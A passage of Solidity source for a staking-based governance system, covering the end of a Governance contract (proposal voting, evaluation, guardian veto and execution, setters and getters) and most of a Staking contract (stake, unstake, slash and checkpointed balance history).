uint256 voteMagnitude = proposals[_proposalId].voteMagnitudes[voter];
if (previousVote == Vote.Yes && _vote == Vote.No) {
_decreaseVoteMagnitudeYes(_proposalId, voteMagnitude);
_increaseVoteMagnitudeNo(_proposalId, voteMagnitude);
} else if (previousVote == Vote.No && _vote == Vote.Yes) {
_decreaseVoteMagnitudeNo(_proposalId, voteMagnitude);
_increaseVoteMagnitudeYes(_proposalId, voteMagnitude);
}
// If _vote == previousVote, no changes needed to vote magnitudes.
// Do not update numVotes
emit ProposalVoteUpdated(
_proposalId,
voter,
_vote,
voteMagnitude,
previousVote
);
}
/**
* @notice Once the voting period + executionDelay for a proposal has ended, evaluate the outcome and
* execute the proposal if voting quorum met & vote passes.
* To pass, stake-weighted vote must be > 50% Yes.
* @dev Requires that caller is an active staker at the time the proposal is created
* @param _proposalId - id of the proposal
* @return Outcome of proposal evaluation
*/
function evaluateProposalOutcome(uint256 _proposalId)
external returns (Outcome)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireDelegateManagerAddressIsSet();
_requireValidProposalId(_proposalId);
// Require proposal has not already been evaluated.
require(
proposals[_proposalId].outcome == Outcome.InProgress,
"Governance: Can only evaluate InProgress proposal."
);
// Re-entrancy should not be possible here since this switches the status of the
// proposal to 'Evaluating' so it should fail the status is 'InProgress' check
proposals[_proposalId].outcome = Outcome.Evaluating;
// Require proposal votingPeriod + executionDelay have ended.
uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber;
uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod).add(executionDelay);
require(
block.number > endBlockNumber,
"Governance: Proposal votingPeriod & executionDelay must end before evaluation."
);
address targetContractAddress = registry.getContract(
proposals[_proposalId].targetContractRegistryKey
);
Outcome outcome;
// target contract address changed -> close proposal without execution.
if (targetContractAddress != proposals[_proposalId].targetContractAddress) {
outcome = Outcome.TargetContractAddressChanged;
}
// target contract code hash changed -> close proposal without execution.
else if (_getCodeHash(targetContractAddress) != proposals[_proposalId].contractHash) {
outcome = Outcome.TargetContractCodeHashChanged;
}
// voting quorum not met -> close proposal without execution.
else if (_quorumMet(proposals[_proposalId], Staking(stakingAddress)) == false) {
outcome = Outcome.QuorumNotMet;
}
// votingQuorumPercent met & vote passed -> execute proposed transaction & close proposal.
else if (
proposals[_proposalId].voteMagnitudeYes > proposals[_proposalId].voteMagnitudeNo
) {
(bool success, bytes memory returnData) = _executeTransaction(
targetContractAddress,
proposals[_proposalId].callValue,
proposals[_proposalId].functionSignature,
proposals[_proposalId].callData
);
emit ProposalTransactionExecuted(
_proposalId,
success,
returnData
);
// Proposal outcome depends on success of transaction execution.
if (success) {
outcome = Outcome.ApprovedExecuted;
} else {
outcome = Outcome.ApprovedExecutionFailed;
}
}
// votingQuorumPercent met & vote did not pass -> close proposal without transaction execution.
else {
outcome = Outcome.Rejected;
}
// This records the final outcome in the proposals mapping
proposals[_proposalId].outcome = outcome;
// Remove from inProgressProposals array
_removeFromInProgressProposals(_proposalId);
emit ProposalOutcomeEvaluated(
_proposalId,
outcome,
proposals[_proposalId].voteMagnitudeYes,
proposals[_proposalId].voteMagnitudeNo,
proposals[_proposalId].numVotes
);
return outcome;
}
/**
* @notice Action limited to the guardian address that can veto a proposal
* @param _proposalId - id of the proposal
*/
function vetoProposal(uint256 _proposalId) external {
_requireIsInitialized();
_requireValidProposalId(_proposalId);
require(
msg.sender == guardianAddress,
"Governance: Only guardian can veto proposals."
);
require(
proposals[_proposalId].outcome == Outcome.InProgress,
"Governance: Cannot veto inactive proposal."
);
proposals[_proposalId].outcome = Outcome.Vetoed;
// Remove from inProgressProposals array
_removeFromInProgressProposals(_proposalId);
emit ProposalVetoed(_proposalId);
}
// ========================================= Config Setters =========================================
/**
* @notice Set the Staking address
* @dev Only callable by self via _executeTransaction
* @param _stakingAddress - address for new Staking contract
*/
function setStakingAddress(address _stakingAddress) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(_stakingAddress != address(0x00), "Governance: Requires non-zero _stakingAddress");
stakingAddress = _stakingAddress;
}
/**
* @notice Set the ServiceProviderFactory address
* @dev Only callable by self via _executeTransaction
* @param _serviceProviderFactoryAddress - address for new ServiceProviderFactory contract
*/
function setServiceProviderFactoryAddress(address _serviceProviderFactoryAddress) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(
_serviceProviderFactoryAddress != address(0x00),
"Governance: Requires non-zero _serviceProviderFactoryAddress"
);
serviceProviderFactoryAddress = _serviceProviderFactoryAddress;
}
/**
* @notice Set the DelegateManager address
* @dev Only callable by self via _executeTransaction
* @param _delegateManagerAddress - address for new DelegateManager contract
*/
function setDelegateManagerAddress(address _delegateManagerAddress) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(
_delegateManagerAddress != address(0x00),
"Governance: Requires non-zero _delegateManagerAddress"
);
delegateManagerAddress = _delegateManagerAddress;
}
/**
* @notice Set the voting period for a Governance proposal
* @dev Only callable by self via _executeTransaction
* @param _votingPeriod - new voting period
*/
function setVotingPeriod(uint256 _votingPeriod) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(_votingPeriod > 0, ERROR_INVALID_VOTING_PERIOD);
votingPeriod = _votingPeriod;
emit VotingPeriodUpdated(_votingPeriod);
}
/**
* @notice Set the voting quorum percentage for a Governance proposal
* @dev Only callable by self via _executeTransaction
* @param _votingQuorumPercent - new voting period
*/
function setVotingQuorumPercent(uint256 _votingQuorumPercent) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(
_votingQuorumPercent > 0 && _votingQuorumPercent <= 100,
ERROR_INVALID_VOTING_QUORUM
);
votingQuorumPercent = _votingQuorumPercent;
emit VotingQuorumPercentUpdated(_votingQuorumPercent);
}
/**
* @notice Set the Registry address
* @dev Only callable by self via _executeTransaction
* @param _registryAddress - address for new Registry contract
*/
function setRegistryAddress(address _registryAddress) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(_registryAddress != address(0x00), ERROR_INVALID_REGISTRY);
registry = Registry(_registryAddress);
emit RegistryAddressUpdated(_registryAddress);
}
/**
* @notice Set the max number of concurrent InProgress proposals
* @dev Only callable by self via _executeTransaction
* @param _newMaxInProgressProposals - new value for maxInProgressProposals
*/
function setMaxInProgressProposals(uint16 _newMaxInProgressProposals) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(
_newMaxInProgressProposals > 0,
"Governance: Requires non-zero _newMaxInProgressProposals"
);
maxInProgressProposals = _newMaxInProgressProposals;
emit MaxInProgressProposalsUpdated(_newMaxInProgressProposals);
}
/**
* @notice Set the execution delay for a proposal
* @dev Only callable by self via _executeTransaction
* @param _newExecutionDelay - new value for executionDelay
*/
function setExecutionDelay(uint256 _newExecutionDelay) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
// executionDelay does not have to be non-zero
executionDelay = _newExecutionDelay;
emit ExecutionDelayUpdated(_newExecutionDelay);
}
// ========================================= Guardian Actions =========================================
/**
* @notice Allows the guardianAddress to execute protocol actions
* @param _targetContractRegistryKey - key in registry of target contract
* @param _callValue - amount of wei if a token transfer is involved
* @param _functionSignature - function signature of the function to be executed if proposal is successful
* @param _callData - encoded value(s) to call function with if proposal is successful
*/
function guardianExecuteTransaction(
bytes32 _targetContractRegistryKey,
uint256 _callValue,
string calldata _functionSignature,
bytes calldata _callData
) external
{
_requireIsInitialized();
require(
msg.sender == guardianAddress,
"Governance: Only guardian."
);
// _targetContractRegistryKey must point to a valid registered contract
address targetContractAddress = registry.getContract(_targetContractRegistryKey);
require(
targetContractAddress != address(0x00),
"Governance: _targetContractRegistryKey must point to valid registered contract"
);
// Signature cannot be empty
require(
bytes(_functionSignature).length != 0,
"Governance: _functionSignature cannot be empty."
);
(bool success, bytes memory returnData) = _executeTransaction(
targetContractAddress,
_callValue,
_functionSignature,
_callData
);
require(success, "Governance: Transaction failed.");
emit GuardianTransactionExecuted(
targetContractAddress,
_callValue,
_functionSignature,
_callData,
returnData
);
}
/**
* @notice Change the guardian address
* @dev Only callable by current guardian
* @param _newGuardianAddress - new guardian address
*/
function transferGuardianship(address _newGuardianAddress) external {
_requireIsInitialized();
require(
msg.sender == guardianAddress,
"Governance: Only guardian."
);
guardianAddress = _newGuardianAddress;
emit GuardianshipTransferred(_newGuardianAddress);
}
// ========================================= Getter Functions =========================================
/**
* @notice Get proposal information by proposal Id
* @param _proposalId - id of proposal
*/
function getProposalById(uint256 _proposalId)
external view returns (
uint256 proposalId,
address proposer,
uint256 submissionBlockNumber,
bytes32 targetContractRegistryKey,
address targetContractAddress,
uint256 callValue,
string memory functionSignature,
bytes memory callData,
Outcome outcome,
uint256 voteMagnitudeYes,
uint256 voteMagnitudeNo,
uint256 numVotes
)
{
_requireIsInitialized();
_requireValidProposalId(_proposalId);
Proposal memory proposal = proposals[_proposalId];
return (
proposal.proposalId,
proposal.proposer,
proposal.submissionBlockNumber,
proposal.targetContractRegistryKey,
proposal.targetContractAddress,
proposal.callValue,
proposal.functionSignature,
proposal.callData,
proposal.outcome,
proposal.voteMagnitudeYes,
proposal.voteMagnitudeNo,
proposal.numVotes
/** @notice - votes mapping cannot be returned by external function */
/** @notice - voteMagnitudes mapping cannot be returned by external function */
/** @notice - returning contractHash leads to stack too deep compiler error, see getProposalTargetContractHash() */
);
}
/**
* @notice Get proposal target contract hash by proposalId
* @dev This is a separate function because the getProposalById returns too many
variables already and by adding more, you get the error
`InternalCompilerError: Stack too deep, try using fewer variables`
* @param _proposalId - id of proposal
*/
function getProposalTargetContractHash(uint256 _proposalId)
external view returns (bytes32)
{
_requireIsInitialized();
_requireValidProposalId(_proposalId);
return (proposals[_proposalId].contractHash);
}
/**
* @notice Get vote direction and vote magnitude for a given proposal and voter
* @param _proposalId - id of the proposal
* @param _voter - address of the voter we want to check
* @return returns vote direction and magnitude if valid vote, else default values
*/
function getVoteInfoByProposalAndVoter(uint256 _proposalId, address _voter)
external view returns (Vote vote, uint256 voteMagnitude)
{
_requireIsInitialized();
_requireValidProposalId(_proposalId);
return (
proposals[_proposalId].votes[_voter],
proposals[_proposalId].voteMagnitudes[_voter]
);
}
/// @notice Get the contract Guardian address
function getGuardianAddress() external view returns (address) {
_requireIsInitialized();
return guardianAddress;
}
/// @notice Get the Staking address
function getStakingAddress() external view returns (address) {
_requireIsInitialized();
return stakingAddress;
}
/// @notice Get the ServiceProviderFactory address
function getServiceProviderFactoryAddress() external view returns (address) {
_requireIsInitialized();
return serviceProviderFactoryAddress;
}
/// @notice Get the DelegateManager address
function getDelegateManagerAddress() external view returns (address) {
_requireIsInitialized();
return delegateManagerAddress;
}
/// @notice Get the contract voting period
function getVotingPeriod() external view returns (uint256) {
_requireIsInitialized();
return votingPeriod;
}
/// @notice Get the contract voting quorum percent
function getVotingQuorumPercent() external view returns (uint256) {
_requireIsInitialized();
return votingQuorumPercent;
}
/// @notice Get the registry address
function getRegistryAddress() external view returns (address) {
_requireIsInitialized();
return address(registry);
}
/// @notice Used to check if is governance contract before setting governance address in other contracts
function isGovernanceAddress() external pure returns (bool) {
return true;
}
/// @notice Get the max number of concurrent InProgress proposals
function getMaxInProgressProposals() external view returns (uint16) {
_requireIsInitialized();
return maxInProgressProposals;
}
/// @notice Get the proposal execution delay
function getExecutionDelay() external view returns (uint256) {
_requireIsInitialized();
return executionDelay;
}
/// @notice Get the array of all InProgress proposal Ids
function getInProgressProposals() external view returns (uint256[] memory) {
_requireIsInitialized();
return inProgressProposals;
}
/**
* @notice Returns false if any proposals in inProgressProposals array are evaluatable
* Evaluatable = proposals with closed votingPeriod
* @dev Is public since its called internally in `submitProposal()` as well as externally in UI
*/
function inProgressProposalsAreUpToDate() external view returns (bool) {
_requireIsInitialized();
// compare current block number against endBlockNumber of each proposal
for (uint256 i = 0; i < inProgressProposals.length; i++) {
if (
block.number >
(proposals[inProgressProposals[i]].submissionBlockNumber).add(votingPeriod).add(executionDelay)
) {
return false;
}
}
return true;
}
// ========================================= Internal Functions =========================================
/**
* @notice Execute a transaction attached to a governance proposal
* @dev We are aware of both potential re-entrancy issues and the risks associated with low-level solidity
* function calls here, but have chosen to keep this code with those issues in mind. All governance
* proposals go through a voting process, and all will be reviewed carefully to ensure that they
* adhere to the expected behaviors of this call - but adding restrictions here would limit the ability
* of the governance system to do required work in a generic way.
* @param _targetContractAddress - address of registry proxy contract to execute transaction on
* @param _callValue - amount of wei if a token transfer is involved
* @param _functionSignature - function signature of the function to be executed if proposal is successful
* @param _callData - encoded value(s) to call function with if proposal is successful
*/
function _executeTransaction(
address _targetContractAddress,
uint256 _callValue,
string memory _functionSignature,
bytes memory _callData
) internal returns (bool success, bytes memory returnData)
{
bytes memory encodedCallData = abi.encodePacked(
bytes4(keccak256(bytes(_functionSignature))),
_callData
);
(success, returnData) = (
// solium-disable-next-line security/no-call-value
_targetContractAddress.call.value(_callValue)(encodedCallData)
);
return (success, returnData);
}
function _increaseVoteMagnitudeYes(uint256 _proposalId, uint256 _voterStake) internal {
proposals[_proposalId].voteMagnitudeYes = (
proposals[_proposalId].voteMagnitudeYes.add(_voterStake)
);
}
function _increaseVoteMagnitudeNo(uint256 _proposalId, uint256 _voterStake) internal {
proposals[_proposalId].voteMagnitudeNo = (
proposals[_proposalId].voteMagnitudeNo.add(_voterStake)
);
}
function _decreaseVoteMagnitudeYes(uint256 _proposalId, uint256 _voterStake) internal {
proposals[_proposalId].voteMagnitudeYes = (
proposals[_proposalId].voteMagnitudeYes.sub(_voterStake)
);
}
function _decreaseVoteMagnitudeNo(uint256 _proposalId, uint256 _voterStake) internal {
proposals[_proposalId].voteMagnitudeNo = (
proposals[_proposalId].voteMagnitudeNo.sub(_voterStake)
);
}
/**
* @dev Can make O(1) by storing index pointer in proposals mapping.
* Requires inProgressProposals to be 1-indexed, since all proposals that are not present
* will have pointer set to 0.
*/
function _removeFromInProgressProposals(uint256 _proposalId) internal {
uint256 index = 0;
for (uint256 i = 0; i < inProgressProposals.length; i++) {
if (inProgressProposals[i] == _proposalId) {
index = i;
break;
}
}
// Swap proposalId to end of array + pop (deletes last elem + decrements array length)
inProgressProposals[index] = inProgressProposals[inProgressProposals.length - 1];
inProgressProposals.pop();
}
/**
* @notice Returns true if voting quorum percentage met for proposal, else false.
* @dev Quorum is met if total voteMagnitude * 100 / total active stake in Staking
* @dev Eventual multiplication overflow:
* (proposal.voteMagnitudeYes + proposal.voteMagnitudeNo), with 100% staking participation,
* can sum to at most the entire token supply of 10^27
* With 7% annual token supply inflation, multiplication can overflow ~1635 years at the earliest:
* log(2^256/(10^27*100))/log(1.07) ~= 1635
*
* @dev Note that quorum is evaluated based on total staked at proposal submission
* not total staked at proposal evaluation, this is expected behavior
*/
function _quorumMet(Proposal memory proposal, Staking stakingContract)
internal view returns (bool)
{
uint256 participation = (
(proposal.voteMagnitudeYes + proposal.voteMagnitudeNo)
.mul(100)
.div(stakingContract.totalStakedAt(proposal.submissionBlockNumber))
);
return participation >= votingQuorumPercent;
}
// ========================================= Private Functions =========================================
function _requireStakingAddressIsSet() private view {
require(
stakingAddress != address(0x00),
"Governance: stakingAddress is not set"
);
}
function _requireServiceProviderFactoryAddressIsSet() private view {
require(
serviceProviderFactoryAddress != address(0x00),
"Governance: serviceProviderFactoryAddress is not set"
);
}
function _requireDelegateManagerAddressIsSet() private view {
require(
delegateManagerAddress != address(0x00),
"Governance: delegateManagerAddress is not set"
);
}
function _requireValidProposalId(uint256 _proposalId) private view {
require(
_proposalId <= lastProposalId && _proposalId > 0,
"Governance: Must provide valid non-zero _proposalId"
);
}
/**
* Calculates and returns active stake for address
*
* Active stake = (active deployer stake + active delegator stake)
* active deployer stake = (direct deployer stake - locked deployer stake)
* locked deployer stake = amount of pending decreaseStakeRequest for address
* active delegator stake = (total delegator stake - locked delegator stake)
* locked delegator stake = amount of pending undelegateRequest for address
*/
function _calculateAddressActiveStake(address _address) private view returns (uint256) {
ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress);
DelegateManagerV2 delegateManager = DelegateManagerV2(delegateManagerAddress);
// Amount directly staked by address, if any, in ServiceProviderFactory
(uint256 directDeployerStake,,,,,) = spFactory.getServiceProviderDetails(_address);
// Amount of pending decreasedStakeRequest for address, if any, in ServiceProviderFactory
(uint256 lockedDeployerStake,) = spFactory.getPendingDecreaseStakeRequest(_address);
// active deployer stake = (direct deployer stake - locked deployer stake)
uint256 activeDeployerStake = directDeployerStake.sub(lockedDeployerStake);
// Total amount delegated by address, if any, in DelegateManager
uint256 totalDelegatorStake = delegateManager.getTotalDelegatorStake(_address);
// Amount of pending undelegateRequest for address, if any, in DelegateManager
(,uint256 lockedDelegatorStake, ) = delegateManager.getPendingUndelegateRequest(_address);
// active delegator stake = (total delegator stake - locked delegator stake)
uint256 activeDelegatorStake = totalDelegatorStake.sub(lockedDelegatorStake);
// activeStake = (activeDeployerStake + activeDelegatorStake)
uint256 activeStake = activeDeployerStake.add(activeDelegatorStake);
return activeStake;
}
// solium-disable security/no-inline-assembly
/**
* @notice Helper function to generate the code hash for a contract address
* @return contract code hash
*/
function _getCodeHash(address _contract) private view returns (bytes32) {
bytes32 contractHash;
assembly {
contractHash := extcodehash(_contract)
}
return contractHash;
}
}
// File: contracts/Staking.sol
pragma solidity ^0.5.0;
contract Staking is InitializableV2 {
using SafeMath for uint256;
using Uint256Helpers for uint256;
using Checkpointing for Checkpointing.History;
using SafeERC20 for ERC20;
string private constant ERROR_TOKEN_NOT_CONTRACT = "Staking: Staking token is not a contract";
string private constant ERROR_AMOUNT_ZERO = "Staking: Zero amount not allowed";
string private constant ERROR_ONLY_GOVERNANCE = "Staking: Only governance";
string private constant ERROR_ONLY_DELEGATE_MANAGER = (
"Staking: Only callable from DelegateManager"
);
string private constant ERROR_ONLY_SERVICE_PROVIDER_FACTORY = (
"Staking: Only callable from ServiceProviderFactory"
);
address private governanceAddress;
address private claimsManagerAddress;
address private delegateManagerAddress;
address private serviceProviderFactoryAddress;
/// @dev stores the history of staking and claims for a given address
struct Account {
Checkpointing.History stakedHistory;
Checkpointing.History claimHistory;
}
/// @dev ERC-20 token that will be used to stake with
ERC20 internal stakingToken;
/// @dev maps addresses to staking and claims history
mapping (address => Account) internal accounts;
/// @dev total staked tokens at a given block
Checkpointing.History internal totalStakedHistory;
event Staked(address indexed user, uint256 amount, uint256 total);
event Unstaked(address indexed user, uint256 amount, uint256 total);
event Slashed(address indexed user, uint256 amount, uint256 total);
/**
* @notice Function to initialize the contract
* @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed
* @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed
* @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed
* @param _tokenAddress - address of ERC20 token that will be staked
* @param _governanceAddress - address for Governance proxy contract
*/
function initialize(
address _tokenAddress,
address _governanceAddress
) public initializer
{
require(Address.isContract(_tokenAddress), ERROR_TOKEN_NOT_CONTRACT);
stakingToken = ERC20(_tokenAddress);
_updateGovernanceAddress(_governanceAddress);
InitializableV2.initialize();
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
}
/**
* @notice Set the ClaimsManaager address
* @dev Only callable by Governance address
* @param _claimsManager - address for new ClaimsManaager contract
*/
function setClaimsManagerAddress(address _claimsManager) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
claimsManagerAddress = _claimsManager;
}
/**
* @notice Set the ServiceProviderFactory address
* @dev Only callable by Governance address
* @param _spFactory - address for new ServiceProviderFactory contract
*/
function setServiceProviderFactoryAddress(address _spFactory) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
serviceProviderFactoryAddress = _spFactory;
}
/**
* @notice Set the DelegateManager address
* @dev Only callable by Governance address
* @param _delegateManager - address for new DelegateManager contract
*/
function setDelegateManagerAddress(address _delegateManager) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
delegateManagerAddress = _delegateManager;
}
/* External functions */
/**
* @notice Funds `_amount` of tokens from ClaimsManager to target account
* @param _amount - amount of rewards to add to stake
* @param _stakerAccount - address of staker
*/
function stakeRewards(uint256 _amount, address _stakerAccount) external {
_requireIsInitialized();
_requireClaimsManagerAddressIsSet();
require(
msg.sender == claimsManagerAddress,
"Staking: Only callable from ClaimsManager"
);
_stakeFor(_stakerAccount, msg.sender, _amount);
this.updateClaimHistory(_amount, _stakerAccount);
}
/**
* @notice Update claim history by adding an event to the claim history
* @param _amount - amount to add to claim history
* @param _stakerAccount - address of staker
*/
function updateClaimHistory(uint256 _amount, address _stakerAccount) external {
_requireIsInitialized();
_requireClaimsManagerAddressIsSet();
require(
msg.sender == claimsManagerAddress || msg.sender == address(this),
"Staking: Only callable from ClaimsManager or Staking.sol"
);
// Update claim history even if no value claimed
accounts[_stakerAccount].claimHistory.add(block.number.toUint64(), _amount);
}
/**
* @notice Slashes `_amount` tokens from _slashAddress
* @dev Callable from DelegateManager
* @param _amount - Number of tokens slashed
* @param _slashAddress - Address being slashed
*/
function slash(
uint256 _amount,
address _slashAddress
) external
{
_requireIsInitialized();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == delegateManagerAddress,
ERROR_ONLY_DELEGATE_MANAGER
);
// Burn slashed tokens from account
_burnFor(_slashAddress, _amount);
emit Slashed(
_slashAddress,
_amount,
totalStakedFor(_slashAddress)
);
}
/**
* @notice Stakes `_amount` tokens, transferring them from _accountAddress, and assigns them to `_accountAddress`
* @param _accountAddress - The final staker of the tokens
* @param _amount - Number of tokens staked
*/
function stakeFor(
address _accountAddress,
uint256 _amount
) external
{
_requireIsInitialized();
_requireServiceProviderFactoryAddressIsSet();
require(
msg.sender == serviceProviderFactoryAddress,
ERROR_ONLY_SERVICE_PROVIDER_FACTORY
);
_stakeFor(
_accountAddress,
_accountAddress,
_amount
);
}
/**
* @notice Unstakes `_amount` tokens, returning them to the desired account.
* @param _accountAddress - Account unstaked for, and token recipient
* @param _amount - Number of tokens staked
*/
function unstakeFor(
address _accountAddress,
uint256 _amount
) external
{
_requireIsInitialized();
_requireServiceProviderFactoryAddressIsSet();
require(
msg.sender == serviceProviderFactoryAddress,
ERROR_ONLY_SERVICE_PROVIDER_FACTORY
);
_unstakeFor(
_accountAddress,
_accountAddress,
_amount
);
}
/**
* @notice Stakes `_amount` tokens, transferring them from `_delegatorAddress` to `_accountAddress`,
only callable by DelegateManager
* @param _accountAddress - The final staker of the tokens
* @param _delegatorAddress - Address from which to transfer tokens
* @param _amount - Number of tokens staked
*/
function delegateStakeFor(
address _accountAddress,
address _delegatorAddress,
uint256 _amount
) external {
_requireIsInitialized();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == delegateManagerAddress,
ERROR_ONLY_DELEGATE_MANAGER
);
_stakeFor(
_accountAddress,
_delegatorAddress,
_amount);
}
/**
* @notice Unstakes '_amount` tokens, transferring them from `_accountAddress` to `_delegatorAddress`,
only callable by DelegateManager
* @param _accountAddress - The staker of the tokens
* @param _delegatorAddress - Address from which to transfer tokens
* @param _amount - Number of tokens unstaked
*/
function undelegateStakeFor(
address _accountAddress,
address _delegatorAddress,
uint256 _amount
) external {
_requireIsInitialized();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == delegateManagerAddress,
ERROR_ONLY_DELEGATE_MANAGER
);
_unstakeFor(
_accountAddress,
_delegatorAddress,
_amount);
}
/**
* @notice Get the token used by the contract for staking and locking
* @return The token used by the contract for staking and locking
*/
function token() external view returns (address) {
_requireIsInitialized();
return address(stakingToken);
}
/**
* @notice Check whether it supports history of stakes
* @return Always true
*/
function supportsHistory() external view returns (bool) {
_requireIsInitialized();
return true;
}
/**
* @notice Get last time `_accountAddress` modified its staked balance
* @param _accountAddress - Account requesting for
* @return Last block number when account's balance was modified
*/
function lastStakedFor(address _accountAddress) external view returns (uint256) {
_requireIsInitialized();
uint256 length = accounts[_accountAddress].stakedHistory.history.length;
if (length > 0) {
return uint256(accounts[_accountAddress].stakedHistory.history[length - 1].time);
}
return 0;
}
/**
* @notice Get last time `_accountAddress` claimed a staking reward
* @param _accountAddress - Account requesting for
* @return Last block number when claim requested
*/
function lastClaimedFor(address _accountAddress) external view returns (uint256) {
_requireIsInitialized();
uint256 length = accounts[_accountAddress].claimHistory.history.length;
if (length > 0) {
return uint256(accounts[_accountAddress].claimHistory.history[length - 1].time);
}
return 0;
}
/**
* @notice Get the total amount of tokens staked by `_accountAddress` at block number `_blockNumber`
* @param _accountAddress - Account requesting for
* @param _blockNumber - Block number at which we are requesting
* @return The amount of tokens staked by the account at the given block number
*/
function totalStakedForAt(
address _accountAddress,
uint256 _blockNumber
) external view returns (uint256) {
_requireIsInitialized();
return accounts[_accountAddress].stakedHistory.get(_blockNumber.toUint64());
}
/**
* @notice Get the total amount of tokens staked by all users at block number `_blockNumber`
* @param _blockNumber - Block number at which we are requesting
* @return The amount of tokens staked at the given block number
*/
function totalStakedAt(uint256 _blockNumber) external view returns (uint256) {
_requireIsInitialized();
return totalStakedHistory.get(_blockNumber.toUint64());
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/// @notice Get the ClaimsManager address
function getClaimsManagerAddress() external view returns (address) {
_requireIsInitialized();
return claimsManagerAddress;
}
/// @notice Get the ServiceProviderFactory address
function getServiceProviderFactoryAddress() external view returns (address) {
_requireIsInitialized();
return serviceProviderFactoryAddress;
}
/// @notice Get the DelegateManager address
function getDelegateManagerAddress() external view returns (address) {
_requireIsInitialized();
return delegateManagerAddress;
}
/**
* @notice Helper function wrapped around totalStakedFor. Checks whether _accountAddress
is currently a valid staker with a non-zero stake
* @param _accountAddress - Account requesting for
* @return Boolean indicating whether account is a staker
*/
function isStaker(address _accountAddress) external view returns (bool) {
_requireIsInitialized();
return totalStakedFor(_accountAddress) > 0;
}
/* Public functions */
/**
* @notice Get the amount of tokens staked by `_accountAddress`
* @param _accountAddress - The owner of the tokens
* @return The amount of tokens staked by the given account
*/
function totalStakedFor(address _accountAddress) public view returns (uint256) {
_requireIsInitialized();
// we assume it's not possible to stake in the future
return accounts[_accountAddress].stakedHistory.getLast();
}
/**
* @notice Get the total amount of tokens staked by all users
* @return The total amount of tokens staked by all users
*/
function totalStaked() public view returns (uint256) {
_requireIsInitialized();
// we assume it's not possible to stake in the future
return totalStakedHistory.getLast();
}
// ========================================= Internal Functions =========================================
/**
* @notice Adds stake from a transfer account to the stake account
* @param _stakeAccount - Account that funds will be staked for
* @param _transferAccount - Account that funds will be transferred from
* @param _amount - amount to stake
*/
function _stakeFor(
address _stakeAccount,
address _transferAccount,
uint256 _amount
) internal
{
// staking 0 tokens is invalid
require(_amount > 0, ERROR_AMOUNT_ZERO);
// Checkpoint updated staking balance
_modifyStakeBalance(_stakeAccount, _amount, true);
// checkpoint total supply
_modifyTotalStaked(_amount, true);
// pull tokens into Staking contract
stakingToken.safeTransferFrom(_transferAccount, address(this), _amount);
emit Staked(
_stakeAccount,
_amount,
totalStakedFor(_stakeAccount));
}
/**
* @notice Unstakes tokens from a stake account to a transfer account
* @param _stakeAccount - Account that staked funds will be transferred from
* @param _transferAccount - Account that funds will be transferred to
* @param _amount - amount to unstake
*/
function _unstakeFor(
address _stakeAccount,
address _transferAccount,
uint256 _amount
) internal
{
require(_amount > 0, ERROR_AMOUNT_ZERO);
// checkpoint updated staking balance
_modifyStakeBalance(_stakeAccount, _amount, false);
// checkpoint total supply
_modifyTotalStaked(_amount, false);
// transfer tokens
stakingToken.safeTransfer(_transferAccount, _amount);
emit Unstaked(
_stakeAccount,
_amount,
totalStakedFor(_stakeAccount)
);
}
/**
* @notice Burn tokens for a given staker
* @dev Called when slash occurs
* @param _stakeAccount - Account for which funds will be burned
* @param _amount - amount to burn
*/
function _burnFor(address _stakeAccount, uint256 _amount) internal {
// burning zero tokens is not allowed
require(_amount > 0, ERROR_AMOUNT_ZERO);
// checkpoint updated staking balance
_modifyStakeBalance(_stakeAccount, _amount, false);
// checkpoint total supply
_modifyTotalStaked(_amount, false);
// burn
ERC20Burnable(address(stakingToken)).burn(_amount);
/** No event emitted since token.burn() call already emits a Transfer event */
}
/**
* @notice Increase or decrease the staked balance for an account
* @param _accountAddress - Account to modify
* @param _by - amount to modify
* @param _increase - true if increase in stake, false if decrease
*/
function _modifyStakeBalance(address _accountAddress, uint256 _by, bool _increase) internal {
uint256 currentInternalStake = accounts[_accountAddress].stakedHistory.getLast();
uint256 newStake;
if (_increase) {
newStake = currentInternalStake.add(_by);
} else {
require(
currentInternalStake >= _by,
"Staking: Cannot decrease greater than current balance");
newStake = currentInternalStake.sub(_by);
}
// add new value to account history
accounts[_accountAddress].stakedHistory.add(block.number.toUint64(), newStake);
}
/**
* @notice Increase or decrease the staked balance across all accounts
* @param _by - amount to modify
* @param _increase - true if increase in stake, false if decrease
*/
function _modifyTotalStaked(uint256 _by, bool _increase) internal {
uint256 currentStake = totalStaked();
uint256 newStake;
if (_increase) {
newStake = currentStake.add(_by);
} else {
newStake = currentStake.sub(_by);
}
// add new value to total history
totalStakedHistory.add(block.number.toUint64(), newStake);
}
/**
* @notice Set the governance address after confirming contract identity
